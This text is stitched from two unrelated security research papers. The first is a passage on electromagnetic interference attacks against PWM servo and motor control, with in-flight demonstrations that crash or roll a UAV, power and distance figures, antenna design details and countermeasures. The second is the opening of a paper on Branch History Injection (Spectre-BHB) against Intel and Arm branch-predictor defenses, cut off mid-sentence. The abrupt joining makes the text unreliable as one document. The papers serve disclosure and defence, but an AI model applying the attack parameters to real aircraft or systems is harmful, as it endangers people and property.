(φ), and the rudder affects the yawing motion/yaw attitude (ψ)
(Figure 10a).

During the attacks, both left and right ailerons are affected
as they are controlled by the same PWM; however, their sense
of rotation is opposite because of their placement. The aileron
rotation (δa) is positive when the right aileron is trailing edge
up & the left aileron is trailing edge down. Thus, a positive
aileron rotation produces a positive rolling motion that in-
creases the roll attitude of the UAV. The reader is referred
to [47] for details on UAV dynamics and control.

5.1 Attacker System
The attacker system consists of an optical transmitter and

receiver, battery, RF module, amplifier, and a ZPSL antenna
as shown in Figure 9b. The victim Pixhawk is programmed to
initiate the attacks upon request of the ground controller. At-
tack control signals are sent in as optical signals to ensure the
reliable control even under high EMI, e.g., to halt the attack
in an emergency. The RF Switch modulates the continuous
wave signal to generate Block or Full Control waveforms. The
attack waveform from the RF switch is fed to the RF ampli-
fier with an output power of 20 W and the attack waveform is

radiated from the ZPSL antenna which resonates at the attack
frequency and matched to 50 Ω.

The victim UAV uses a Pixhawk autopilot running on PX4
firmware which is modified to control the duration and wave-
form of the IEMI attacks from the ground/radio controller. To
robustly measure the aileron rotation in high-EMI, a quadra-
ture encoder is attached to the right aileron servo with an
isolated Pixhawk (i.e., with a separate DC supply) mounted
on the right-wing of the UAV. A firmware module is devel-
oped for the PX4 firmware that acts as an interface for the
quadrature encoder and records the aileron rotation angle. For
the flights, Pixhawk’s stabilized flight mode is utilized dur-
ing which the pitch and roll setpoint is supplied by the pilot
from the radio/ground controller. The autopilot then calcu-
lates the required elevator and aileron rotation, respectively,
to achieve the setpoint. The rudder rotation and the thrust are
commanded directly from the radio/ground controller.

In-Flight Block Demonstration: Block waveform pre-
vents the transmission of original actuation data, and servo
motors respond to that by staying (locking or moving freely
as summarized in Table 1) at their angular position just be-
fore the attack. To observe the effect of Block during a flight,
the pilot (i.e., ground controller) sends a continuously vary-
ing roll setpoint, which is used by the autopilot to determine
the required aileron rotation angle. When there is no attack
(t < 0), the aileron rotation is equal to what is commanded by
the autopilot (Figure 10d), and UAV tracks the setpoint roll
attitude as shown in Figure 10f. As the attack starts (t = 0),
the aileron locks at its current position of 32◦, which results
in a continuous positive rolling motion that increases the roll
attitude of the UAV beyond the setpoint. The autopilot com-
mands a negative aileron rotation to compensate for the effect
of attack; however, no reduction in roll angle is observed as
the aileron is locked due to the Block. The attack is stopped
after 2.4 seconds at which point, the roll attitude of the UAV
rises to 150° , and the altitude of the UAV drops by 10 m. Af-
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ter the attack is stopped, the aileron rotates to the commanded
negative position required to reduce the roll attitude. The roll
attitude starts to decrease, but the altitude keeps dropping
because of the high roll attitude. In 2.8 s, the altitude of the
UAV dropped by almost 17 m, and the autopilot failed to re-
cover the nominal orientation of the UAV in time, resulting
in a crash (Block Video). Figure 10b presents the measured
trajectory of the UAV under attack and the predicted trajec-
tory without attack. The predicted trajectory is obtained by
extrapolating the trajectory before the attack begins.

In-Flight Full Control Demonstration: During Full Con-
trol demonstration, the pilot sends a zero roll setpoint. As the
attack starts (t = 0), the aileron rotates to the false value of
−36° (trotate = 1.8ms) injected by the attacker system (Fig-
ure 10e) resulting in a negative rolling motion. The autopilot
commands a positive aileron rotation to recover the orien-
tation of the UAV, but the aileron does not respond as it is
under attack. The attack is turned off after 1.7 s at which point
the roll attitude is close to -180◦ (Figure 10g). The autopilot,
instead of commanding positive aileron rotation, commands a
negative aileron rotation to recover the UAV by doing a ‘full
aileron roll’ i.e., a 360◦ turn. The UAV completed the full
aileron roll in less than 2.6 s, and the altitude dropped by only
10 m before the UAV is recovered (Full Control Video). The
measured and the predicted trajectory of the UAV during Full
Control demonstration is shown in Figure 10c.

6 Attack Distance and Power Relationship
Indoor demonstrations show that a power of 20 W is suffi-

cient for 25 cm-Full Control and 50 cm-Block attacks. How-
ever, the attack distance and minimum power relationship
is not clear from these observations. To determine this re-
lationship, the field distribution of the attacker antenna is
simulated with an EM simulator (ANSYS HFSS). Adding to
the ZPSL antenna with 35 cm-by-35 cm planar dimensions
(used in indoor and in-flight attacks), a ‘large’ ZPSL antenna
with 70 cm-by-70 cm planar dimensions is simulated as well.
The field distributions of antennas with varying attack dis-
tance through the z-axis is combined with the indoor results to
determine the attack distance and power relationship shown
in Figure 11. Some of our observations are as follows: The
Full Control requires more power than Block regardless of
the antenna size. The large antenna requires significantly less
power than the smaller antenna. For Full Control at da = 1m,
the required powers are 611W and 3.3 kW for large and small
antenna, respectively. However, if the attack distance is 2 m
for the Block, required powers are 532W and 1.38 kW for
large and small antenna, respectively. The ability of large an-
tennas in generating high magnetic fields in the near field is a
known phenomenon. For Transcranial Magnetic Stimulation
(TMS) applications, in which magnetic fields stimulate partic-
ular regions of the brain, larger loops are preferred for better
field ‘penetration’ to the inner brain layers [48]. To increase
the attack distance, adding to increasing the antenna dimen-

sion, metamaterial–artificial magnetic conductors [49], which
functions as magnetic reflectors, can be utilized to improve
the field power by 3dB which decreases the attack power and
protect the tracker from its own attack field.

In scenarios, where the victim system is not RF-shielded,
the far field antennas with high directivity improve the attack
distance. Assuming lossless and matched antennas for both
the attacker and the targeted circuitry, i.e., victim loops, the
power transferred to the victim, Ptgt , can be determined with
the Friis transmission formula [32]:

Ptgt = Patk +Datk +Dtgt (θtgt ,φtgt) ...

+20log10

(
λ

4πd

)
+20log10(|ρ̂atk · ρ̂tgt |)

(5)

where Patk, Datk and ρ̂atk are attacker power, antenna direc-
tivity and polarization, respectively. Dtgt (θtgt ,φtgt) is the di-
rectivity of a particular loop in the victim, e.g., PWM cables.
(5) shows that the increase in the Datk of the antennas directly
improve the transferred power to the victim, Yagi-Uda an-
tennas with multiple resonant dipoles can have directivities
around 9.2 dBi [50]. This means an attack power reduction
of ≈ 7.44dB compared to a small loop with a theoretical
directivity of 1.76 dBi [32]. Additionally, far field antennas
do not require the tracker to be protected by the attack field
because the radiation is diminutive out of the antenna bore-
sight. However, as the boresight and polarity of the far-field
antennas should be aligned with the victim loop to maximize
Dtgt (θtgt ,φtgt), using far field antennas on moving victim sys-
tems (e.g., UAVs) is challenging. For those scenarios, the near
field attacks with loop antennas should be used (Section 5).

7 Attacks on DC Motors and Speed

Another type of widely used actuator in CPS applications
(from drones to robots) is ‘DC motors’ the rotational speed
(rpm) of which is controlled by PWM. Similar to servo control
(Figure 2), when thigh is minimum (i.e., 1 ms), the rotation
speed is minimum (i.e., rpm=0 and the motor stops), and
when thigh is maximum (i.e., 2 ms), the motor rotates with full
speed. An Electronic Speed Controller (ESC) converts the
speed data in the PWM to varying frequency current pulses
that rotate the DC motor at the desired rpm.

As over-the-air coupling mechanism is the same regard-
less of the actuator and consists of the victim cable resonant
frequency detection and a resonant antenna design, and con-
tributes additional experimental parameters, the attacks on the
DC motor speed is tested in a wired setup (Figure 12a).The
attack waveform is added to the victim PWM (thigh = 1.5ms)
with a wideband combiner (Minicircuits ZFRSC-42-S+) and
fed to the ESC, and the rpm of the DC motor is observed
with varying attack frequency and voltage. The motor-ESC
pair is powered with a 22.2 V 6S LiPo battery, and the PWM
input to the system is commanded through the Pixhawk flight
controller. Three ESC models are tested: Eflite 60 A Pro [51],
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Figure 10: Results of in-flight demonstration of the attack. The attack starts at t = 0. (a) Axes of motion and control surfaces of a
fixed-wing UAV. (b) The trajectory of the UAV during Block attack demonstration (Block Video). (c) The trajectory of the UAV
during Full Control attack demonstration (Full Control Video). (d) The Block waveform locks the aileron servo (at t = 0, blue
curve). (e) The Full Control waveform (trotate = 1.8ms) rotates the aileron to −36◦ (at t = 0, blue curve). (f) The roll attitude
tracking during Block attack demonstration. (g) The roll attitude tracking during Full Control attack demonstration.
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Figure 11: The field distribution of small and large ZPSL
antennas are found with EM simulation, and indoor demon-
strations are used as a benchmark. Generally, large antenna
and Block attacks require less power; however, the required
attack power increases significantly above 2 m.

Castle Phoenix Edge 75 A [52], and Castle Phoenix Edge
100 A [53] with an Eflite BL50 525 kV DC motor [54].

It is observed that at certain attack frequency and voltages,
Block waveform prevents the rotation of each ESC-DC mo-
tor combination (Figure 12b and 12c). However, depending

on the models, the attack frequency and power differ. While
Castle models are vulnerable to Block at frequencies below
3 MHz within the attack voltage range (max 5 V), the Eflite
models can be attacked with frequencies up to 35 MHz. Sim-
ilar to the results observed with servos (Table 1), the higher
frequency attacks require higher power. This ‘Low Pass’ char-
acteristic is because of the ferrite beads on the PWM cables
utilized for EM interference. However, ferrite beads are ob-
served to be ineffective at relatively low frequencies of the
attack waveforms. Additionally, even after the attack stops
at t = 20s (Figure 12c), the DC motor fails to reattain the
rpm instructed by the victim PWM as it goes back to the
‘disarmed’ state. To prevent any action before the system is
fully configured, the Pixhawk requires the motor to be armed
manually by the user through the ground/radio controller. In
the ‘disarmed’ state, no power is sent to the motor, and an
armed motor disarms automatically if it is left idle for a cer-
tain amount of time. The Block attack stops the rotation of the
DC motor for 10s, resulting in the automatic disarming of the
motor; hence, after the attack ends, the manual arming of the
DC motor is necessary to ensure its recovery from the attack.
Full Control waveform is applied to the tested ESC-DC motor
couples. Although Full Control has a similar effect as Block
and results in the full stop of the motors when the attack is
initiated, the control of the victim rpm through Full Control
waveform is not observed within the tested voltage (<5 V) and
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Figure 12: PWM–controlled DC motors are tested in a wired setup. The change in the speed (rpm) of DC motors is recorded. (a)
The experimental setup for wired tests (b) The minimum peak voltages to stop the DC motor rotation. Block stops the rotation of
all tested ESC and DC motor couples; however, the attack frequency should be lower (< 3MHz) for Castle models. (c) The attack
is initiated at t = 10s, ended at t = 20s. None of the tested ESC-DC motor combinations recover from the attacks (t > 20s).
Attack frequency and voltage is 35 MHz and 4 V for Eflite ESC; and 3 MHz and 5 V for Castle ESCs.

frequency (<100 MHz) range. It can be said that as the PWM
inputs of the tested ESCs do not have a similar protection
circuitry (i.e., a diode in series to a capacitor behaves as an
envelope detector) as the servo motors, they are more resilient
to the precise speed control. Unfortunately, the denial of ser-
vice attacks is observed on each tested ESC-DC motor couple
with both Block and Full Control waveforms.

8 Countermeasures

The attacker uses a magnetic field to couple to the victim
circuitry, and as the magnetic fields exist in nature as complete
circles because of their divergence–free nature (∇ ·B = 0),
the proper way to shield them is to redirect them with mag-
netic materials like MuMetal or steel plates [55, 56]. How-
ever, high permeability materials like MuMetal lose their
magnetic properties with increased frequency and become
inefficient magnetic shields above 100 kHz [56]. As the fre-
quency goes roughly above 100 kHz the magnetic or non-
magnetic conductors like steel or aluminum perform better
than MuMetal [57, 58]. However, high-frequency magnetic
shielding highly depends on the shield thickness, and thick
conductor plates are needed unlike the far-fields which can
be shield with thin metal layers, e.g., aluminum foil [57].
Magnetic shielding ’efficiency’ also relies on how much the
shielding material encloses the protected system or compo-
nent. Frika et al. showed that even small openings (e.g., cable
holes) in the magnetic shielding deteriorates the shielding
efficiency significantly [57, 59]. This is the most concerning
issue about IEMI attacks using inductive coupling, because it
is practically challenging to cover all moving parts of a CPS
with magnetic shielding. For instance, completely covering
the control surface of a UAV with magnetic shielding is not
practical due to cost, weight, and disrupted flight dynamics.
The authors think that shielding can be a solution for some
IEMI scenarios (e.g., far field attacks [8]); however, it can not

be the sole countermeasure against attacks with inductive cou-
pling. A PWM signal with a changing frequency is suggested
as a countermeasure [60] for the attacks using voltage drops to
manipulate PWM [6]. As the Block & Rotate and Full Control
waveforms override the rotation angle information regardless
of the victim PWM frequency, varying frequency–PWM is
not effective for the reported attacks in this paper.

Optical transmission is a resilient way to transmit informa-
tion through channels exposed to high EMI. As the optical
fibers are non-metallic, the fields can not interact with the elec-
trons as they do in conventional copper cables. The actuation
signals can be transferred through fiber cables; however, one
drawback of optical transmission is increased complexity in
hardware. Optical transmission requires light-emitting diodes
(LEDs) and phototransistors which operate as transmitters
and receivers that complicates the circuitry; however, only a
limited number of actuation signals (e.g., aileron, flap) should
be sent through fiber cables and by considering the availabil-
ity of small, low cost and lightweight optical transmitter and
receivers [61, 62], the optical transmission is a viable and
reliable defense against FAI. During in-flight tests, the optical
transmission works without disruption under high EMI.

9 Conclusion

Intentional Electromagnetic Interference (IEMI) is a sig-
nificant threat to the secure operation of PWM–controlled
actuators. The results demonstrate that the actuation control
of all tested servo and DC motors are vulnerable to Block
attack, which prevents the data transmission and paralyzes
the actuators. The amplitude modulated attack waveforms,
namely Block & Rotate and Full Control inject false data
to specific servo models (e.g., Futaba) and give the attacker
the control of the actuators. The attacks are demonstrated on
the control surfaces of a fixed-wing UAV, and the flight data
shows that the Block and Full Control attacks result in the
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disruption of the UAV trajectory control. While Block attack
prevents the aileron control of the UAV and results in a crash,
Full Control waveform rotates the ailerons to one extreme
and results in an ‘aileron roll’ of the victim UAV. Other actua-
tors, such as DC motors, the speed of which is controlled by
PWM, are not secure either. Although IEMI on actuators can
be utilized as an offensive measure (e.g., against an intruder
UAV), defenses such as optical transmission and magnetic
field shielding should be utilized for secure operation.
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A Derivation of Attacker Magnetic Field and
Induced Voltage

An electromagnetic field solution is used to determine the
coupling coefficients reported in Table 5 [63]. The model
shown in Figure 6a is used for the solution, and the distance
between the attacker and the victim, da, is 1m. < xo,yo,zo >
is any point on which the time-varying magnetic field, B, is
found. As the attacker antenna is an electrically small loop
(i.e., maximum antenna dimension is smaller than the attack
signal wavelength), a magneto-quasistatic (MQS) solution
can be used, in which the problem is solved as a static prob-
lem at once and then the time–varying term (e.g., sin(ωt)) is
introduced as a multiplication factor [63]. The x, y, and z com-
ponents of B are obtained from magnetic vector potentials Ax
and Ay:

B = ∇×A , Bx =−
∂Ay

∂z
, By =

∂Ax

∂z
, Bz =

∂Ay

∂x
− ∂Ax

∂y
(6)

Note that Az = 0 because the attacker current only has x and
y components (Figure 6a). Magnetic vector potential (A) is
found by line integral of the attacker current (7). dl and µ
are differential length vector of the attacker current (Ia) and
permeability of the medium, respectively.

A =
µ

4π

∫ Ia dl
|r− r′|

(7)

where r and r′ are position vectors for the attacker field (B)
and current (Ia). As the victim loop normal is through z-
axis, only Bz contributes to the induced voltage. After the
calculation of Ax and Ay with (7), Bz is found as [63]:

Bz =
µIa

4π

4

∑
n=1

 (−1)n Dn

rn

(
rn +(−1)n+1 Cn

) − Cn

rn (rn +Dn)

 (8)

where the position variables C, D, and r (Figure 6a) are:

C1 =−C4 = xa/2+ xo r1 =
√

C2
1 +D2

1 +d2
a

C2 =−C3 = xa/2− xo r2 =
√

C2
2 +D2

2 +d2
a

D1 = D2 = ya/2+ yo r3 =
√

C2
3 +D2

3 +d2
a

D3 = D4 =−ya/2+ yo r4 =
√

C2
4 +D2

4 +d2
a

(9)
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Figure 13: A resonant near field antenna is designed and produced for attacking ailerons. (a) Zero Phase Shift Line (ZPSL)
Antenna, distributed capacitances, inductances and antenna dimension (b) S11 comparison of EM simulation and measurement;
antenna resonates at 61 MHz (c) Normal Magnetic field distribution |Hz| at z = 1m, a wide attack region with a Half Power
Beam Width diameter of 110 cm

The field distribution of the attacker antenna on the victim
loop (Figure 6a) is determined with a Matlab script using
(8), and the coupling coefficients reported in Table 5 are de-
termined with (1). Faraday’s law of induction states that the
induced voltage, vind , to a victim loop is the time derivative
of the normal magnetic flux captured by the coil surface, so
the relationship of Bz and vind is:

vind =− d
dt

∫∫
Sv

Bz ·dS (10)

where Sv is the victim loop surface and its normal is assumed
to be aligned with the z-axis. With the introduction of (8),
(10) becomes:

vind =− µ
4π

(
d
dt

Ia

)∫∫
Sv

P(xo,yo,zo) ·dS (11)

where P(xo,yo,zo) is the position variable which does not
vary with time:

P(xo,yo,zo) =
4

∑
n=1

 (−1)n Dn

rn

(
rn +(−1)n+1 Cn

) − Cn

rn (rn +Dn)


(12)

(11) demonstrates that the induced voltage on the victim loop
is linearly proportional to the time derivative of the attacker
current, d/dt(Ia). If we assume a pure sinusoidal current
such that Ia = sinωt, the induced voltage is proportional to
d/dt(sinωt) = ωcosωt. Thus, the induced voltage, vind , is lin-
early proportional to the frequency of the attacker, and the
attack waveforms that utilize very low frequencies (e.g., as
50 Hz) [6] induces significantly less voltage compared to VHF
frequencies. It should be noted that this characteristic is ob-
served up to the first resonance frequency of the victim loop,
and the reader can refer to [18] for a detailed discussion for
above–resonance vind characteristics.

B Attacker Antenna Design and Production

It is concluded in Section 2.1 that a magnetic resonant cou-
pling can be utilized by a tracker for efficient attacks (i.e.,

same power longer attack distance or less power same attack
distance). This requires an attacker antenna that resonates
at the same frequency with the victim PWM cables. As the
relative position of the intruder is not constant during the
flight, the magnetic field should be strong enough in a large
enough area; i.e., a non-directive antenna pattern is needed in
the near field. In RFID applications, where a tag attached to a
vehicle or a person, a very similar problem is addressed with
electrically large loop antennas [64]. However, the large elec-
trical size of these antennas results in non-uniform magnetic
field distribution. Zero phase shift line loop (ZPSL) antenna
is a modified version of electrically large loops which utilizes
distributed capacitors on the antenna to make the magnetic
field more uniform in the near field.

A ZPSL antenna is designed for the ailerons resonating
at fv = 61MHz. ANSYS HFSS is used for EM simulations
and fine-tune the antenna dimension to the victim resonance
at fv = 61MHz. A lumped L-C impedance matching circuit
for 50 ohm is employed to eliminate back power to amplifier
and transmit maximum possible power to the antenna. The
planar size of the antenna is 35cm by 35cm (Figure 13a).
The inner dielectric section of the PCB antenna is removed
to decrease the air drag in the flight tests. The simulation and
measurements are aligned as shown in Figure 13b. At 61MHz,
the reflection (S11) phase of the antenna is observed to be 0°
which points the resonance. The S11 is below -15 dB in the
vicinity of 61MHz which is a sign of good impedance match.
ZPSL antenna has a bidirectional magnetic near field which
has local maximums through + and - z-axis of the antenna. In
Figure 13c, |H| distribution of the antenna is shown on a 2m
by 2m plane at an attack distance of 1m. It is observed that
the Half Power Beam Diameter of the antenna is 110cm.
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Abstract
Branch Target Injection (BTI or Spectre v2) is one of the most
dangerous transient execution vulnerabilities, as it allows an
attacker to abuse indirect branch mispredictions to leak sen-
sitive information. Unfortunately, it also has proven difficult
to mitigate, with vendors originally resorting to inefficient
software mitigations like retpoline. Recently, efficient hard-
ware mitigations such as Intel eIBRS and Arm CSV2 have
been deployed as a replacement in production, isolating the
branch target state across privilege domains. The assumption
is that this is sufficient to deter practical BTI exploitation. In
this paper, we challenge this belief and disclose fundamental
design flaws in both Intel and Arm solutions.

We introduce Branch History Injection (BHI or Spectre-
BHB), a new primitive to build cross-privilege BTI attacks on
systems deploying isolation-based hardware defenses. BHI
builds on the observation that, while the branch target state
is now isolated across privilege domains, such isolation is
not extended to other branch predictor elements tracking the
branch history state—ultimately re-enabling cross-privilege
attacks. We further analyze the guarantees of a hypothetical
isolation-based mitigation which also isolates the branch his-
tory and show that, barring a collision-free design, practical
same-predictor-mode attacks are still possible. To instantiate
our approach, we present end-to-end exploits leaking kernel
memory from userland on Intel systems at 160 bytes/s, in spite
of existing or hypothetical isolation-based mitigations. We
conclude software defenses such as retpoline remain the only
practical BTI mitigations in the foreseeable future and the
pursuit for efficient hardware mitigations must continue.

1 Introduction

Of all the transient execution vulnerabilities [8, 20, 34, 35, 37,
39, 40, 43–45, 49, 55–58, 63] discovered since the first disclo-
sure of such issues in 2018 [62], one of the most worrisome
was Branch Target Injection (BTI or Spectre v2 [34]). As
the name suggests, it allows attackers to inject speculative

branch targets into a victim’s context—while also ignoring
the architectural privilege boundaries [9, 34]. That is, an un-
privileged attacker can transiently control the execution of a
more privileged victim (e.g., the kernel or hypervisor).

Given the severity of the issue, vendors have devised
a kaleidoscope of security mitigations. After a first gen-
eration of heavyweight hardware mitigations [4, 27, 51]—
deemed exceedingly inefficient by the community [54]—the
software-based retpoline mitigation reached widespread adop-
tion [21, 28]. While retpoline can eradicate BTI attacks by re-
placing indirect branches with return instructions, it also crip-
ples indirect branch prediction altogether (other than reducing
the efficiency of return address prediction) and still incurs
non-trivial performance overhead [1, 17]. As a replacement,
hardware vendors have recently deployed more efficient hard-
ware mitigations such as Intel eIBRS [26] and Arm CSV2 [4],
which isolate the branch-target-buffer entries across privilege
domains—effectively re-enforcing privilege boundaries in the
transient realm. The current assumption is that this mitiga-
tion strategy is sufficient to deter practical BTI exploitation
without sacrificing indirect prediction benefits.

In this paper, we challenge this belief by analyzing the
residual attack surface of the most recent CPU generations.
More specifically, we investigate the security guarantees of
Intel, AMD, and Arm solutions and identify fundamental
design flaws in Intel eIBRS and Arm CSV2 defenses that
allow for cross-privilege BTI attacks. We disclose Branch
History Injection (BHI or Spectre-BHB): a new primitive that
allows attackers to build practical BTI attacks despite the
new isolation-based hardware defenses. At the core of this
conclusion lies the observation that these isolation guarantees
are limited to specific elements of the branch predictor
(i.e., the branch target buffer), while others, such as those
tracking the previous branches’ history, are neglected. Hence,
unprivileged attackers can re-enable cross-privilege BTI
attacks via BHI even on the latest Intel and Arm CPUs, as
they can still control the speculative target of higher-privilege
(i.e., kernel’s or hypervisor’s) indirect branches.
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To demonstrate the practicality of this primitive, we focused
on Intel systems and implemented an end-to-end userland ex-
ploit leaking arbitrary memory from a fully protected Linux
kernel at 160 bytes/s. To the best of our knowledge, this is the
first cross-privilege BTI attack against an unmodified system
with hardware isolation-based mitigations such as eIBRS in
place. We further show that even hypothetical refinements of
such isolation-based mitigations (i.e., which also isolate the
branch history across privilege domains) are still insufficient.
In other words, we show that generic intra-mode BTI attacks
beyond BHI—previously considered unfeasible—are a real-
istic threat. As a concrete demonstration, we expand on the
previous exploit to mount an end-to-end confused-deputy BTI
attack where both the injection and the transient execution of
the disclosure gadget occur entirely during kernel execution.

After exposing the limitations of hardware-based isolation
against BTI attacks, we discuss mitigations and formulate rec-
ommendations for existing production systems. In particular,
we suggest reverting to software defenses such as retpoline,
even on the last-generation systems, and further restricting the
transient execution attack surface by disabling exploitation-
friendly features such as unprivileged eBPF.

Contributions. We make the following contributions.

• We characterize modern mitigations against cross-
privilege BTI attacks and perform a security analysis
of Intel eIBRS and Arm CSV2.

• We disclose issues with Intel and Arm mitigations and
introduce Branch History Injection: a new technique
to enable cross-privilege BTI exploits even on modern
systems (CVE-2022-0001, CVE-2022-23960).

• We showcase the first end-to-end userland exploit against
the kernel leaking arbitrary data from an unprivileged
user at 160 bytes/s on the latest Intel eIBRS-equipped
systems and discuss mitigations.

• We demonstrate that intra-mode BTI exploits beyond
BHI are a realistic threat, evidencing fundamental limi-
tations of isolation-based defenses (CVE-2022-0002).

Additional information about BHI, including our proof-
of-concept exploits and analysis code, is available online at
https://vusec.net/projects/bhi-spectre-bhb.

2 Background

In this section we provide the necessary background on mod-
ern branch prediction and BTI attacks.

2.1 Branch Prediction
The Branch Prediction Unit (BPU) is a fundamental com-
ponent of a modern CPU’s front-end. This unit predicts the

Branch 

src dst

BHB

F1

Branch source
address

BTB

=?

F2

Predicted
target

tag target

. . .

Figure 1: A simplified diagram of indirect branch prediction logic.

target of upcoming branches based on previous behavior in
order to fetch and speculatively execute the upcoming instruc-
tions. It typically deploys separate logic for the prediction of
direct and indirect branches. While information on the branch
source address and whether the branch was taken in the past
are usually sufficient for efficient direct branch prediction,
indirect branch prediction is by far more complex.

According to the literature [10,15,16,32,33], to accurately
predict indirect branches with multiple targets, it is necessary
to store some context associated with a given branch. The idea
is that recent execution will likely correlate with the branch
target since it is selected dynamically depending some con-
ditions (e.g. a switch-case to compute the indirect branch
target). Previous work [18, 19, 34, 62, 64] partially reverse
engineered the branch prediction logic for several systems,
and, despite the major microarchitectural differences, they
observed macro-level components common to most modern
BPUs. In Figure 1, we show a simplified diagram of such an
indirect prediction logic. This incorporates a Branch Target
Buffer (BTB) and a Branch History Buffer (BHB).

The BTB is a cache that stores the most recent target ad-
dresses for different branches and branch contexts. This cache
is addressed with a tag computed from the branch source ad-
dress and the branch context ( F2 ). To create the context, the
branch predictor takes both the source address and the history
of previously executed branches into account, stored as a hash
inside the BHB [15, 34, 64]. This hash is constructed over
the source and destination address of previous branches, as
well as the current state of the BHB. The number of branches
tracked this way and the hash function F1 applied to the
addresses depend on the microarchitecture. Prior reverse engi-
neering efforts revealed that for older Intel microarchitectures,
the BHB is implemented as a shift register which gets up-
dated by XORing its rightmost bits with the folded source
and destination address of a taken branch [34, 64].

Even if the indirect branch predictor internals and naming
widely change among different microarchitectures, the major-
ity of them use a context-based approach [10, 15, 23, 34, 64].
For simplicity, we refer to BHB as a generic predictor struc-
ture that holds such context.
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2.2 Branch Target Injection
With the disclosure of Spectre in 2018 [34, 62], researchers
discovered the possibility of exploiting the branch predictor
in numerous ways to read data outside of sandboxed environ-
ments [34, 43], across privilege boundaries [34, 37, 55], and
even outside of secure enclaves [11, 55]. Among all the dif-
ferent variants, our work focuses on Branch Target Injection
(BTI)—also known as Spectre v2 or Spectre-BTB [9].

BTI is an intrinsic vulnerability of the indirect branch pre-
dictor described in Section 2.1. Since the target address of
indirect branches is available only at runtime, modern proces-
sors try to predict the branch target and speculatively fetch
and execute the instructions at the predicted location. In BTI,
an attacker abuses this behavior to mistrain a victim indirect
branch and predict a target address containing a gadget to
leak sensitive data [34,61,62]. While for conditional branches
only the taken or not-taken paths can be transiently executed,
BTI has the flexibility to transiently hijack the control flow
and execute arbitrary code in the victim’s context.

One can derive different BTI variants [9], depending on
whether the speculatively executed gadget resides at the same
privilege level of the victim branch (intra-mode) or at a differ-
ent privilege level (inter-mode), and whether the mistraining
and the misprediction happens at the same branch (in-place)
or using a different aliased branch (out-of-place).

3 Overview

Since the introduction of mitigations meant to reinforce hard-
ware privilege boundaries against BTI [34], the common as-
sumption is that such transient privilege escalation attacks
are impractical, if not infeasible. In this paper, we challenge
this assumption by answering the following questions:

1. What is the current status of Spectre-v2 defenses? In
Section 4, we outline the fragmented landscape of kernel
defenses against BTI. We examine the guarantees of
these solutions, their use on current systems, and the
challenges they lay out for an attacker.

2. Can we still poison the target of kernel indirect branches
from userland? After characterizing the defenses, we an-
alyze the state-of-the-art hardware implementations (i.e.,
Intel eIBRS and Arm CSV2) in detail in Section 5 and
disclose Branch History Injection (BHI): a new primitive
that allows an unprivileged attacker to control mispecu-
lation of higher-privilege (i.e., kernel’s or hypervisor’s)
indirect branches by manipulating non-isolated parts of
the branch context.

3. Are such attacks still practical? To demonstrate the sever-
ity of our findings, Section 6.2 leverages BHI to build
an end-to-end BTI exploit against an unmodified kernel
running on an eIBRS-enabled system. Furthermore, in

Section 6.3, we showcase an intra-mode (i.e., kernel-
to-kernel) exploit to demonstrate that isolation-based
defenses, even when they consider the entirety of the
indirect branch prediction state, still allow for practical
same-predictor-mode attacks.

4 Spectre-v2 Defenses

In this section, we describe all the software and hardware
Spectre-v2 defenses that have been deployed across different
generations of Intel, AMD, and Arm processors [4,27,28,51].
We focus on the newer in-silicon solutions protecting against
cross-privilege attacks to better understand the residual attack
surface available after their adoption.

4.1 Software Defenses
Among software Spectre-v2 defenses we find the following:

• Generic retpoline. Grown into the standard software de-
fense against BTI, retpoline is a special code sequence that
converts an indirect branch to a ret instruction to ensure
that the Return Stack Buffer (RSB) is used rather then the
BTB. Retpoline “traps” into an infinite loop any possi-
ble mispeculation until the actual address is resolved and
popped from the stack [21]. As a result, no indirect branch
prediction is performed. While retpoline is documented to
work for most Intel and AMD processors [27, 52], it is not
effective on Arm [5].

• AMD retpoline. AMD proposed an alternative retpoline
defense [52], where every indirect branch is turned into a
lfence/jmp sequence. The lfence ensures that the load
for the indirect branch target is retired before the jump, mak-
ing the residual transient window small enough to hinder
exploitation [52]. This solution is tailored to AMD proces-
sors [60] and performs better than generic retpoline [41].

• Arm defenses. For older microarchitectures not supporting
hardware mitigations, Arm suggests the invalidation of the
branch predictor entries on mode switch by either execut-
ing the BPIALL instruction, or by disabling and re-enabling
the MMU [12]. Arm implemented a Secure Monitor Call
named SMCCC_ARCH_WORKAROUND_1 to execute the appro-
priate defense depending on the affected processor.

4.2 Hardware Defenses
In this section, we discuss the hardware defenses proposed by
Intel, AMD, and Arm. We expand on the more relevant ones
for cross-privilege BTI attacks.

• Intel/AMD - IBPB. Indirect Branch Prediction Barrier is a
strong barrier to ensure that the execution of previous indi-
rect branches cannot influence the prediction of subsequent
branches executed after the barrier [27, 51].
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Figure 2: Predictor modes on x86-64 and Arm. The arrows show
the possible transitions between lower-level to higher-level predictor
modes and ✗ indicates which branch target injection attack vectors
should be prevented by the respective cross-privilege hardware miti-
gations (i.e., eIBRS, CSV2).

• Intel/AMD - STIBP. Single Thread Indirect Branch Pre-
dictors restricts the sharing of the branch prediction state
among hyperthreads on the same physical core [27, 51].

• Intel/AMD - (e)IBRS. Intel and AMD propose Indirect
Branch Restricted Speculation (IBRS) to stop cross-
privilege Spectre-v2 attacks [27, 51]. This solution intends
to ensure that indirect branch prediction cannot be con-
trolled by software that is executed in a lower-privilege
predictor mode. There are 4 relevant predictor modes on
x86-64: host-supervisor, host-user, guest-supervisor, and
guest-user [27, 51]. As shown in Figure 2, predictor modes
define different privilege level pairs. IBRS aims to pre-
vent the lower-privilege parts from influencing the indirect
branch prediction of the more privileged layers.

The support for IBRS was added with a micro-code
update and the defense is enabled by writing to the
IA32_SPEC_CTRL.IBRS register on every mode switch to
signal the predictor mode switch—inducing a substantial
performance overhead [54]. To remediate this performance
impact, both Intel and AMD document more efficient IBRS
variants for their newer microarchitectures [26,51]—Intel’s
variant is known as Enhanced-IBRS (eIBRS) whereas
AMD’s variant is known as “always-on” IBRS. These vari-
ants seek to provide the same security guarantees of IBRS,
but require writing to the IA32_SPEC_CTRL.IBRS register
only once at boot time.

The documentation states that it is not necessary to enable
Single Thread Indirect Branch Predictor (STIBP) when
IBRS is enabled [27], suggesting that IBRS performs tag-
ging based on both predictor mode and hyperthread ID.
In addition, AMD specifies an “IbrsSameMode” bit in its
documentation [53] to protect against same-predictor-mode
mispredictions. This effectively provides similar guarantees
to those of IBPB.

• Arm - FEAT_CSV2. Arm’s newer microarchitectures
also introduce an eIBRS-like hardware solution protect-
ing against cross-privilege BTI: FEAT_CSV2 [6]. Since
Armv8.5, the ID_AA64PFR0_EL1 register specifies in the

CSV2 field which new hardware mitigations against cross-
privilege BTI are implemented. Currently, this field indi-
